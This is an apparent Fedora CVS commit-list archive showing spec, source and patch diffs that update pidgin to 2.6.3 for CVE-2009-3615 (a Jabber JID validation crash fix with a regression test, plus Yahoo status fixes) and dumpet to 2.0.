2.6.3 CVE-2009-3615



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-12/.cvsignore,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- .cvsignore	6 Sep 2009 01:43:41 -0000	1.34
+++ .cvsignore	16 Oct 2009 20:10:47 -0000	1.35
@@ -1,2 +1 @@
-pidgin-2.6.2.tar.bz2
-pidgin-2.6.2.tar.bz2
+pidgin-2.6.3.tar.bz2

pidgin-2.6.2-crash-validate-jid.patch:
 protocols/jabber/jutil.c  |    7 +++----
 tests/test_jabber_jutil.c |    1 +
 2 files changed, 4 insertions(+), 4 deletions(-)

Index: pidgin-2.6.2-crash-validate-jid.patch
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-12/pidgin-2.6.2-crash-validate-jid.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- pidgin-2.6.2-crash-validate-jid.patch	9 Sep 2009 20:52:46 -0000	1.1
+++ pidgin-2.6.2-crash-validate-jid.patch	16 Oct 2009 20:10:47 -0000	1.2
@@ -2,12 +2,6 @@ http://developer.pidgin.im/ticket/10259
 http://developer.pidgin.im/viewmtn/revision/info/cb46b045aa6e927a3814d9053c2b1c0f08d6fa62
 Fix a crash when attempting to validate a JID with an invalid resource.
 
-#
-#
-# patch "ChangeLog"
-#  from [959824a520d41286c4d89d8899a8e12b684e5ad8]
-#    to [6e78b15060f29fe30ae1b695f61248014b305d49]
-# 
 # patch "libpurple/protocols/jabber/jutil.c"
 #  from [9047c2dfd575de6ec516dd8377bce70df42d5063]
 #    to [603120abe6629d5e8f9e79d5198134bb252b0875]
@@ -17,19 +11,6 @@ Fix a crash when attempting to validate 
 #    to [42bdbb36f39b7d894d5f6f68e1b02f4c1ce4973a]
 #
 ============================================================
---- ChangeLog	959824a520d41286c4d89d8899a8e12b684e5ad8
-+++ ChangeLog	6e78b15060f29fe30ae1b695f61248014b305d49
-@@ -1,5 +1,9 @@ Pidgin and Finch: The Pimpin' Penguin IM
- Pidgin and Finch: The Pimpin' Penguin IM Clients That're Good for the Soul
- 
-+version 2.6.3 (??/??/20??):
-+	XMPP:
-+	* Fix a crash when attempting to validate an invalid JID.
-+
- version 2.6.2 (09/05/2009):
- 	libpurple:
- 	* Fix --disable-avahi to actually disable it in configure, as opposed
-============================================================
 --- libpurple/protocols/jabber/jutil.c	9047c2dfd575de6ec516dd8377bce70df42d5063
 +++ libpurple/protocols/jabber/jutil.c	603120abe6629d5e8f9e79d5198134bb252b0875
 @@ -153,10 +153,9 @@ jabber_idn_validate(const char *str, con


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-12/pidgin.spec,v
retrieving revision 1.97
retrieving revision 1.98
diff -u -p -r1.97 -r1.98
--- pidgin.spec	9 Sep 2009 20:52:46 -0000	1.97
+++ pidgin.spec	16 Oct 2009 20:10:47 -0000	1.98
@@ -81,8 +81,8 @@
 %endif
 
 Name:		pidgin
-Version:	2.6.2
-Release:	2%{?dist}
+Version:	2.6.3
+Release:	1%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls
@@ -116,7 +116,6 @@ Source2:        one_time_password.c
 Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-sound-migration.patch
 
 ## Patches 100+: To be Included in Future Upstream
-Patch100: pidgin-2.6.2-aim-buddy-status-grab.patch
 Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
 Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
 Patch103: pidgin-2.6.2-crash-validate-jid.patch
@@ -377,7 +376,6 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %endif
 
 ## Patches 100+: To be Included in Future Upstream
-%patch100 -p0 -b .aim-buddy-status-grab
 %patch101 -p0 -b .yahoo-buddy-idle-time
 %patch102 -p0 -b .yahoo-status-change-away
 %patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
@@ -625,6 +623,9 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
+- 2.6.3 CVE-2009-3615
+
 * Wed Sep 09 2009 Warren Togami <wtogami at redhat.com> 2.6.2-2
 - Upstream backports:
     97e003ed2bc2bafbb993693c9ae9c6d667731cc1 aim-buddy-status-grab


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-12/sources,v
retrieving revision 1.34
retrieving revision 1.35
diff -u -p -r1.34 -r1.35
--- sources	6 Sep 2009 01:43:41 -0000	1.34
+++ sources	16 Oct 2009 20:10:47 -0000	1.35
@@ -1,2 +1 @@
-306b6b60aefa9c5d5bffb08c576aa955  pidgin-2.6.1.tar.bz2
-a1bbb3c9be7d4ee1f53590d319cbfa72  pidgin-2.6.2.tar.bz2
+8d0ff6215b2d023eaa8efef59097ef83  pidgin-2.6.3.tar.bz2


--- pidgin-2.6.2-aim-buddy-status-grab.patch DELETED ---



From wtogami at fedoraproject.org  Fri Oct 16 20:16:03 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 16 Oct 2009 20:16:03 +0000 (UTC)
Subject: rpms/pidgin/F-11 pidgin-2.6.2-crash-validate-jid.patch, NONE,
	1.1 pidgin-2.6.2-yahoo-buddy-idle-time.patch, NONE,
	1.1 pidgin-2.6.2-yahoo-status-change-away.patch, NONE,
	1.1 .cvsignore, 1.29, 1.30 pidgin.spec, 1.77, 1.78 sources, 1.29,
	1.30 pidgin-2.5.8-nss-md2.patch, 1.1, NONE
Message-ID: <20091016201603.5D4C811C00E5@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23002

Modified Files:
	.cvsignore pidgin.spec sources 
Added Files:
	pidgin-2.6.2-crash-validate-jid.patch 
	pidgin-2.6.2-yahoo-buddy-idle-time.patch 
	pidgin-2.6.2-yahoo-status-change-away.patch 
Removed Files:
	pidgin-2.5.8-nss-md2.patch 
Log Message:
2.6.3 CVE-2009-3615


pidgin-2.6.2-crash-validate-jid.patch:
 protocols/jabber/jutil.c  |    7 +++----
 tests/test_jabber_jutil.c |    1 +
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE pidgin-2.6.2-crash-validate-jid.patch ---
http://developer.pidgin.im/ticket/10259
http://developer.pidgin.im/viewmtn/revision/info/cb46b045aa6e927a3814d9053c2b1c0f08d6fa62
Fix a crash when attempting to validate a JID with an invalid resource.

# patch "libpurple/protocols/jabber/jutil.c"
#  from [9047c2dfd575de6ec516dd8377bce70df42d5063]
#    to [603120abe6629d5e8f9e79d5198134bb252b0875]
# 
# patch "libpurple/tests/test_jabber_jutil.c"
#  from [38e36ccd4fbf2682828c201fe178cd637217fc25]
#    to [42bdbb36f39b7d894d5f6f68e1b02f4c1ce4973a]
#
============================================================
--- libpurple/protocols/jabber/jutil.c	9047c2dfd575de6ec516dd8377bce70df42d5063
+++ libpurple/protocols/jabber/jutil.c	603120abe6629d5e8f9e79d5198134bb252b0875
@@ -153,10 +153,9 @@ jabber_idn_validate(const char *str, con
 		if (!jabber_resourceprep(idn_buffer, sizeof(idn_buffer))) {
 			jabber_id_free(jid);
 			jid = NULL;
-			/* goto out; */
-		}
-
-		jid->resource = g_strdup(idn_buffer);
+			goto out;
+		} else
+			jid->resource = g_strdup(idn_buffer);
 	}
 
 out:
============================================================
--- libpurple/tests/test_jabber_jutil.c	38e36ccd4fbf2682828c201fe178cd637217fc25
+++ libpurple/tests/test_jabber_jutil.c	42bdbb36f39b7d894d5f6f68e1b02f4c1ce4973a
@@ -132,6 +132,7 @@ START_TEST(test_jabber_id_new)
 	assert_invalid_jid("mark.doliner at gmail\\stuff.org");
 	assert_invalid_jid("paul@[::1]124");
 	assert_invalid_jid("paul at 2[::1]124/as");
+	assert_invalid_jid("paul@??.????/\x01");
 
 	/* Ensure that jabber_id_new is properly lowercasing node and domains */
 	assert_jid_parts("paul", "darkrain42.org", "PaUL at darkrain42.org");

pidgin-2.6.2-yahoo-buddy-idle-time.patch:
 libymsg.c |   18 ++++++++++++++----
 1 file changed, 14 insertions(+), 4 deletions(-)

--- NEW FILE pidgin-2.6.2-yahoo-buddy-idle-time.patch ---
http://developer.pidgin.im/viewmtn/revision/info/40005b889ee276fbcd0a4e886a68d8a8cce45698
Better, accurate handling of idle time for a yahoo buddy. Fixes #10099

#
#
# patch "libpurple/protocols/yahoo/libymsg.c"
#  from [87ad7ef7612ac888772e8afa7bcb20743f1b3d9c]
#    to [9f4d92c3fc86e7a91514246a63ebbd3b9c5c6f05]
#
============================================================
--- libpurple/protocols/yahoo/libymsg.c	87ad7ef7612ac888772e8afa7bcb20743f1b3d9c
+++ libpurple/protocols/yahoo/libymsg.c	9f4d92c3fc86e7a91514246a63ebbd3b9c5c6f05
@@ -220,7 +220,12 @@ static void yahoo_process_status(PurpleC
 			if (f->status == YAHOO_STATUS_IDLE) {
 				/* Idle may have already been set in a more precise way in case 137 */
 				if (f->idle == 0)
-					f->idle = time(NULL);
+				{
+					if(pkt->service == YAHOO_SERVICE_STATUS_15)
+						f->idle = -1;
+					else
+						f->idle = time(NULL);
+				}
 			} else
 				f->idle = 0;
 
@@ -253,15 +258,20 @@ static void yahoo_process_status(PurpleC
 			if (f->away == 2) {
 				/* Idle may have already been set in a more precise way in case 137 */
 				if (f->idle == 0)
-					f->idle = time(NULL);
+				{
+					if(pkt->service == YAHOO_SERVICE_STATUS_15)
+						f->idle = -1;
+					else
+						f->idle = time(NULL);
+				}
 			}
 
 			break;
-		case 138: /* either we're not idle, or we are but won't say how long */
+		case 138: /* when value is 1, either we're not idle, or we are but won't say how long */
 			if (!f)
 				break;
 
-			if (f->idle)
+			if( (strtol(pair->value, NULL, 10) == 1) && (f->idle) )
 				f->idle = -1;
 			break;
 		case 137: /* usually idle time in seconds, sometimes login time */

pidgin-2.6.2-yahoo-status-change-away.patch:
 libymsg.c |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE pidgin-2.6.2-yahoo-status-change-away.patch ---
http://developer.pidgin.im/ticket/10224
http://developer.pidgin.im/viewmtn/revision/info/37aa00d044431100d37466517568640cb082680c

#
#
# patch "libpurple/protocols/yahoo/libymsg.c"
#  from [2e325ac513bc39fb2cb3964c664edcef344c7f14]
#    to [87ad7ef7612ac888772e8afa7bcb20743f1b3d9c]
#
============================================================
--- libpurple/protocols/yahoo/libymsg.c	2e325ac513bc39fb2cb3964c664edcef344c7f14
+++ libpurple/protocols/yahoo/libymsg.c	87ad7ef7612ac888772e8afa7bcb20743f1b3d9c
@@ -4500,6 +4500,12 @@ void yahoo_set_status(PurpleAccount *acc
 
 	if (purple_presence_is_idle(presence))
 		yahoo_packet_hash_str(pkt, 47, "2");
+	else	{
+		if (!purple_status_is_available(status))
+			yahoo_packet_hash_str(pkt, 47, "1");
+		else
+			yahoo_packet_hash_str(pkt, 47, "0");
+	}
 
 	yahoo_packet_send_and_free(pkt, yd);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-11/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	6 Sep 2009 01:43:41 -0000	1.29
+++ .cvsignore	16 Oct 2009 20:16:02 -0000	1.30
@@ -1 +1 @@
-pidgin-2.6.2.tar.bz2
+pidgin-2.6.3.tar.bz2


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-11/pidgin.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- pidgin.spec	6 Sep 2009 02:05:16 -0000	1.77
+++ pidgin.spec	16 Oct 2009 20:16:03 -0000	1.78
@@ -81,7 +81,7 @@
 %endif
 
 Name:		pidgin
-Version:	2.6.2
+Version:	2.6.3
 Release:	1%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
@@ -116,6 +116,9 @@ Source2:        one_time_password.c
 Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-sound-migration.patch
 
 ## Patches 100+: To be Included in Future Upstream
+Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
+Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
+Patch103: pidgin-2.6.2-crash-validate-jid.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-root
 Summary:	A Gtk+ based multiprotocol instant messaging client
@@ -373,6 +376,9 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %endif
 
 ## Patches 100+: To be Included in Future Upstream
+%patch101 -p0 -b .yahoo-buddy-idle-time
+%patch102 -p0 -b .yahoo-status-change-away
+%patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
 
 # Our preferences
 cp %{SOURCE1} prefs.xml
@@ -617,11 +623,22 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
+- 2.6.3 CVE-2009-3615
+
+* Wed Sep 09 2009 Warren Togami <wtogami at redhat.com> 2.6.2-2
+- Upstream backports:
+    97e003ed2bc2bafbb993693c9ae9c6d667731cc1 aim-buddy-status-grab
+    37aa00d044431100d37466517568640cb082680c yahoo-buddy-idle-time
+    40005b889ee276fbcd0a4e886a68d8a8cce45698 yahoo-status-change-away
+    cb46b045aa6e927a3814d9053c2b1c0f08d6fa62 crash-validate-jid
+
 * Sun Sep 06 2009 Stu Tomlinson <stu at nosnilmot.com> 2.6.2-1.1
 - VV support needs to be explicitly disabled on F10
 
 * Sun Sep 06 2009 Stu Tomlinson <stu at nosnilmot.com> 2.6.2-1
 - 2.6.2 Fixes a number of crashes
+- CVE-2009-2703, CVE-2009-3083, CVE-2009-3084, CVE-2009-3085
 
 * Wed Aug 19 2009 Warren Togami <wtogami at redhat.com> 2.6.1-1
 - 2.6.1: Fix a crash when some users send you a link in a Yahoo IM


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-11/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	6 Sep 2009 01:43:42 -0000	1.29
+++ sources	16 Oct 2009 20:16:03 -0000	1.30
@@ -1 +1 @@
-a1bbb3c9be7d4ee1f53590d319cbfa72  pidgin-2.6.2.tar.bz2
+8d0ff6215b2d023eaa8efef59097ef83  pidgin-2.6.3.tar.bz2


--- pidgin-2.5.8-nss-md2.patch DELETED ---



From wtogami at fedoraproject.org  Fri Oct 16 20:18:53 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Fri, 16 Oct 2009 20:18:53 +0000 (UTC)
Subject: rpms/pidgin/F-10 pidgin-2.6.2-crash-validate-jid.patch, NONE,
	1.1 pidgin-2.6.2-yahoo-buddy-idle-time.patch, NONE,
	1.1 pidgin-2.6.2-yahoo-status-change-away.patch, NONE,
	1.1 .cvsignore, 1.29, 1.30 pidgin.spec, 1.82, 1.83 sources, 1.29,
	1.30 pidgin-2.5.8-nss-md2.patch, 1.1, NONE
Message-ID: <20091016201853.D76BA11C00E5@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23301

Modified Files:
	.cvsignore pidgin.spec sources 
Added Files:
	pidgin-2.6.2-crash-validate-jid.patch 
	pidgin-2.6.2-yahoo-buddy-idle-time.patch 
	pidgin-2.6.2-yahoo-status-change-away.patch 
Removed Files:
	pidgin-2.5.8-nss-md2.patch 
Log Message:
2.6.3 CVE-2009-3615


pidgin-2.6.2-crash-validate-jid.patch:
 protocols/jabber/jutil.c  |    7 +++----
 tests/test_jabber_jutil.c |    1 +
 2 files changed, 4 insertions(+), 4 deletions(-)

--- NEW FILE pidgin-2.6.2-crash-validate-jid.patch ---
http://developer.pidgin.im/ticket/10259
http://developer.pidgin.im/viewmtn/revision/info/cb46b045aa6e927a3814d9053c2b1c0f08d6fa62
Fix a crash when attempting to validate a JID with an invalid resource.

# patch "libpurple/protocols/jabber/jutil.c"
#  from [9047c2dfd575de6ec516dd8377bce70df42d5063]
#    to [603120abe6629d5e8f9e79d5198134bb252b0875]
# 
# patch "libpurple/tests/test_jabber_jutil.c"
#  from [38e36ccd4fbf2682828c201fe178cd637217fc25]
#    to [42bdbb36f39b7d894d5f6f68e1b02f4c1ce4973a]
#
============================================================
--- libpurple/protocols/jabber/jutil.c	9047c2dfd575de6ec516dd8377bce70df42d5063
+++ libpurple/protocols/jabber/jutil.c	603120abe6629d5e8f9e79d5198134bb252b0875
@@ -153,10 +153,9 @@ jabber_idn_validate(const char *str, con
 		if (!jabber_resourceprep(idn_buffer, sizeof(idn_buffer))) {
 			jabber_id_free(jid);
 			jid = NULL;
-			/* goto out; */
-		}
-
-		jid->resource = g_strdup(idn_buffer);
+			goto out;
+		} else
+			jid->resource = g_strdup(idn_buffer);
 	}
 
 out:
============================================================
--- libpurple/tests/test_jabber_jutil.c	38e36ccd4fbf2682828c201fe178cd637217fc25
+++ libpurple/tests/test_jabber_jutil.c	42bdbb36f39b7d894d5f6f68e1b02f4c1ce4973a
@@ -132,6 +132,7 @@ START_TEST(test_jabber_id_new)
 	assert_invalid_jid("mark.doliner at gmail\\stuff.org");
 	assert_invalid_jid("paul@[::1]124");
 	assert_invalid_jid("paul at 2[::1]124/as");
+	assert_invalid_jid("paul@??.????/\x01");
 
 	/* Ensure that jabber_id_new is properly lowercasing node and domains */
 	assert_jid_parts("paul", "darkrain42.org", "PaUL at darkrain42.org");

pidgin-2.6.2-yahoo-buddy-idle-time.patch:
 libymsg.c |   18 ++++++++++++++----
 1 file changed, 14 insertions(+), 4 deletions(-)

--- NEW FILE pidgin-2.6.2-yahoo-buddy-idle-time.patch ---
http://developer.pidgin.im/viewmtn/revision/info/40005b889ee276fbcd0a4e886a68d8a8cce45698
Better, accurate handling of idle time for a yahoo buddy. Fixes #10099

#
#
# patch "libpurple/protocols/yahoo/libymsg.c"
#  from [87ad7ef7612ac888772e8afa7bcb20743f1b3d9c]
#    to [9f4d92c3fc86e7a91514246a63ebbd3b9c5c6f05]
#
============================================================
--- libpurple/protocols/yahoo/libymsg.c	87ad7ef7612ac888772e8afa7bcb20743f1b3d9c
+++ libpurple/protocols/yahoo/libymsg.c	9f4d92c3fc86e7a91514246a63ebbd3b9c5c6f05
@@ -220,7 +220,12 @@ static void yahoo_process_status(PurpleC
 			if (f->status == YAHOO_STATUS_IDLE) {
 				/* Idle may have already been set in a more precise way in case 137 */
 				if (f->idle == 0)
-					f->idle = time(NULL);
+				{
+					if(pkt->service == YAHOO_SERVICE_STATUS_15)
+						f->idle = -1;
+					else
+						f->idle = time(NULL);
+				}
 			} else
 				f->idle = 0;
 
@@ -253,15 +258,20 @@ static void yahoo_process_status(PurpleC
 			if (f->away == 2) {
 				/* Idle may have already been set in a more precise way in case 137 */
 				if (f->idle == 0)
-					f->idle = time(NULL);
+				{
+					if(pkt->service == YAHOO_SERVICE_STATUS_15)
+						f->idle = -1;
+					else
+						f->idle = time(NULL);
+				}
 			}
 
 			break;
-		case 138: /* either we're not idle, or we are but won't say how long */
+		case 138: /* when value is 1, either we're not idle, or we are but won't say how long */
 			if (!f)
 				break;
 
-			if (f->idle)
+			if( (strtol(pair->value, NULL, 10) == 1) && (f->idle) )
 				f->idle = -1;
 			break;
 		case 137: /* usually idle time in seconds, sometimes login time */

pidgin-2.6.2-yahoo-status-change-away.patch:
 libymsg.c |    6 ++++++
 1 file changed, 6 insertions(+)

--- NEW FILE pidgin-2.6.2-yahoo-status-change-away.patch ---
http://developer.pidgin.im/ticket/10224
http://developer.pidgin.im/viewmtn/revision/info/37aa00d044431100d37466517568640cb082680c

#
#
# patch "libpurple/protocols/yahoo/libymsg.c"
#  from [2e325ac513bc39fb2cb3964c664edcef344c7f14]
#    to [87ad7ef7612ac888772e8afa7bcb20743f1b3d9c]
#
============================================================
--- libpurple/protocols/yahoo/libymsg.c	2e325ac513bc39fb2cb3964c664edcef344c7f14
+++ libpurple/protocols/yahoo/libymsg.c	87ad7ef7612ac888772e8afa7bcb20743f1b3d9c
@@ -4500,6 +4500,12 @@ void yahoo_set_status(PurpleAccount *acc
 
 	if (purple_presence_is_idle(presence))
 		yahoo_packet_hash_str(pkt, 47, "2");
+	else	{
+		if (!purple_status_is_available(status))
+			yahoo_packet_hash_str(pkt, 47, "1");
+		else
+			yahoo_packet_hash_str(pkt, 47, "0");
+	}
 
 	yahoo_packet_send_and_free(pkt, yd);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-10/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	6 Sep 2009 01:43:42 -0000	1.29
+++ .cvsignore	16 Oct 2009 20:18:52 -0000	1.30
@@ -1 +1 @@
-pidgin-2.6.2.tar.bz2
+pidgin-2.6.3.tar.bz2


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-10/pidgin.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- pidgin.spec	6 Sep 2009 01:58:49 -0000	1.82
+++ pidgin.spec	16 Oct 2009 20:18:52 -0000	1.83
@@ -81,8 +81,8 @@
 %endif
 
 Name:		pidgin
-Version:	2.6.2
-Release:	1%{?dist}.1
+Version:	2.6.3
+Release:	1%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls
@@ -116,6 +116,9 @@ Source2:        one_time_password.c
 Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-sound-migration.patch
 
 ## Patches 100+: To be Included in Future Upstream
+Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
+Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
+Patch103: pidgin-2.6.2-crash-validate-jid.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-root
 Summary:	A Gtk+ based multiprotocol instant messaging client
@@ -373,6 +376,9 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %endif
 
 ## Patches 100+: To be Included in Future Upstream
+%patch101 -p0 -b .yahoo-buddy-idle-time
+%patch102 -p0 -b .yahoo-status-change-away
+%patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
 
 # Our preferences
 cp %{SOURCE1} prefs.xml
@@ -617,11 +623,22 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
+- 2.6.3 CVE-2009-3615
+
+* Wed Sep 09 2009 Warren Togami <wtogami at redhat.com> 2.6.2-2
+- Upstream backports:
+    97e003ed2bc2bafbb993693c9ae9c6d667731cc1 aim-buddy-status-grab
+    37aa00d044431100d37466517568640cb082680c yahoo-buddy-idle-time
+    40005b889ee276fbcd0a4e886a68d8a8cce45698 yahoo-status-change-away
+    cb46b045aa6e927a3814d9053c2b1c0f08d6fa62 crash-validate-jid
+
 * Sun Sep 06 2009 Stu Tomlinson <stu at nosnilmot.com> 2.6.2-1.1
 - VV support needs to be explicitly disabled on F10
 
 * Sun Sep 06 2009 Stu Tomlinson <stu at nosnilmot.com> 2.6.2-1
 - 2.6.2 Fixes a number of crashes
+- CVE-2009-2703, CVE-2009-3083, CVE-2009-3084, CVE-2009-3085
 
 * Wed Aug 19 2009 Warren Togami <wtogami at redhat.com> 2.6.1-1
 - 2.6.1: Fix a crash when some users send you a link in a Yahoo IM


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-10/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	6 Sep 2009 01:43:42 -0000	1.29
+++ sources	16 Oct 2009 20:18:52 -0000	1.30
@@ -1 +1 @@
-a1bbb3c9be7d4ee1f53590d319cbfa72  pidgin-2.6.2.tar.bz2
+8d0ff6215b2d023eaa8efef59097ef83  pidgin-2.6.3.tar.bz2


--- pidgin-2.5.8-nss-md2.patch DELETED ---



From pjones at fedoraproject.org  Fri Oct 16 20:18:57 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Fri, 16 Oct 2009 20:18:57 +0000 (UTC)
Subject: rpms/dumpet/devel .cvsignore, 1.2, 1.3 dumpet.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091016201857.5EA2811C00E5@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/dumpet/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23494

Modified Files:
	.cvsignore dumpet.spec sources 
Log Message:
* Fri Oct 16 2009 Peter Jones <pjones at redhat.com> - 2.0-1
- This is the 2.0 release.  It is awesome and adds XML output in order to
  support automated validation of CD images.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dumpet/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Oct 2009 20:42:20 -0000	1.2
+++ .cvsignore	16 Oct 2009 20:18:55 -0000	1.3
@@ -1,2 +1,2 @@
-dumpet-1.1.tar.bz2
 clog
+dumpet-2.0.tar.bz2


Index: dumpet.spec
===================================================================
RCS file: /cvs/extras/rpms/dumpet/devel/dumpet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dumpet.spec	5 Oct 2009 20:42:20 -0000	1.1
+++ dumpet.spec	16 Oct 2009 20:18:56 -0000	1.2
@@ -1,12 +1,12 @@
 Name:           dumpet
-Version:        1.1
+Version:        2.0
 Release:        1%{?dist}
 Summary:        A tool to dump and debug bootable CD images
 License:        GPLv2+
 Group:          Development/Tools
 URL:            https://fedorahosted.org/dumpet/
 Source0:        https://fedorahosted.org/releases/d/u/dumpet/dumpet-%{version}.tar.bz2
-BuildRequires:	popt-devel
+BuildRequires:	popt-devel pkgconfig libxml2-devel
 
 %description
 DumpET is a utility to aid in the debugging of bootable CD-ROM images.
@@ -31,6 +31,10 @@ rm -rf %{buildroot}
 %{_bindir}/dumpet
 
 %changelog
+* Fri Oct 16 2009 Peter Jones <pjones at redhat.com> - 2.0-1
+- This is the 2.0 release.  It is awesome and adds XML output in order to
+  support automated validation of CD images.
+
 * Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.1-1
 - Update to dumpet-1.1, which treats CFLAGS reasonably.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dumpet/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	5 Oct 2009 20:42:20 -0000	1.2
+++ sources	16 Oct 2009 20:18:56 -0000	1.3
@@ -1 +1 @@
-3507a205a462c23af45def062b38e003  dumpet-1.1.tar.bz2
+1a93059322246f935d421a3db4a54742  dumpet-2.0.tar.bz2



From pjones at fedoraproject.org  Fri Oct 16 20:19:59 2009
From: pjones at fedoraproject.org (Peter Jones)
Date: Fri, 16 Oct 2009 20:19:59 +0000 (UTC)
Subject: rpms/dumpet/F-12 .cvsignore, 1.2, 1.3 dumpet.spec, 1.1, 1.2 sources,
	1.2, 1.3
Message-ID: <20091016201959.C7B1C11C00E5@cvs1.fedora.phx.redhat.com>

Author: pjones

Update of /cvs/extras/rpms/dumpet/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23778

Modified Files:
	.cvsignore dumpet.spec sources 
Log Message:
* Fri Oct 16 2009 Peter Jones <pjones at redhat.com> - 2.0-1
- This is the 2.0 release.  It is awesome and adds XML output in order to
  support automated validation of CD images.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/dumpet/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	5 Oct 2009 20:41:34 -0000	1.2
+++ .cvsignore	16 Oct 2009 20:19:58 -0000	1.3
@@ -1,2 +1,2 @@
-dumpet-1.1.tar.bz2
+dumpet-2.0.tar.bz2
 clog


Index: dumpet.spec
===================================================================
RCS file: /cvs/extras/rpms/dumpet/F-12/dumpet.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dumpet.spec	5 Oct 2009 20:41:34 -0000	1.1
+++ dumpet.spec	16 Oct 2009 20:19:58 -0000	1.2
@@ -1,12 +1,12 @@
 Name:           dumpet
-Version:        1.1
+Version:        2.0
 Release:        1%{?dist}
 Summary:        A tool to dump and debug bootable CD images
 License:        GPLv2+
 Group:          Development/Tools
 URL:            https://fedorahosted.org/dumpet/
 Source0:        https://fedorahosted.org/releases/d/u/dumpet/dumpet-%{version}.tar.bz2
-BuildRequires:	popt-devel
+BuildRequires:	popt-devel pkgconfig libxml2-devel
 
 %description
 DumpET is a utility to aid in the debugging of bootable CD-ROM images.
@@ -31,6 +31,10 @@ rm -rf %{buildroot}
 %{_bindir}/dumpet
 
 %changelog
+* Fri Oct 16 2009 Peter Jones <pjones at redhat.com> - 2.0-1
+- This is the 2.0 release.  It is awesome and adds XML output in order to
+  support automated validation of CD images.
+
 * Mon Oct 05 2009 Peter Jones <pjones at redhat.com> - 1.1-1
 - Update to dumpet-1.1, which treats CFLAGS reasonably.
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/dumpet/F-12/sources,v
